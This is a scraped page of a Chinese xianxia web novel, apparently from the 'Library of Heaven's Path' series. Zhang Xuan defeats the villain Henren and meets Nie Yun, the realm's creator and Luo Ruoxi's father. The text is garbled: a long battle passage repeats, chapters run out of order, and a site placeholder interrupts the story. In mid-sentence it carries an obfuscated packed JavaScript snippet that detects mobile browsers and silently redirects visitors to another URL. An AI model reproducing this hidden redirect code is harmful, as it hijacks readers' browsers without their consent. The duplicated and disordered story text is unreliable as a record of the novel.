伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782362|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 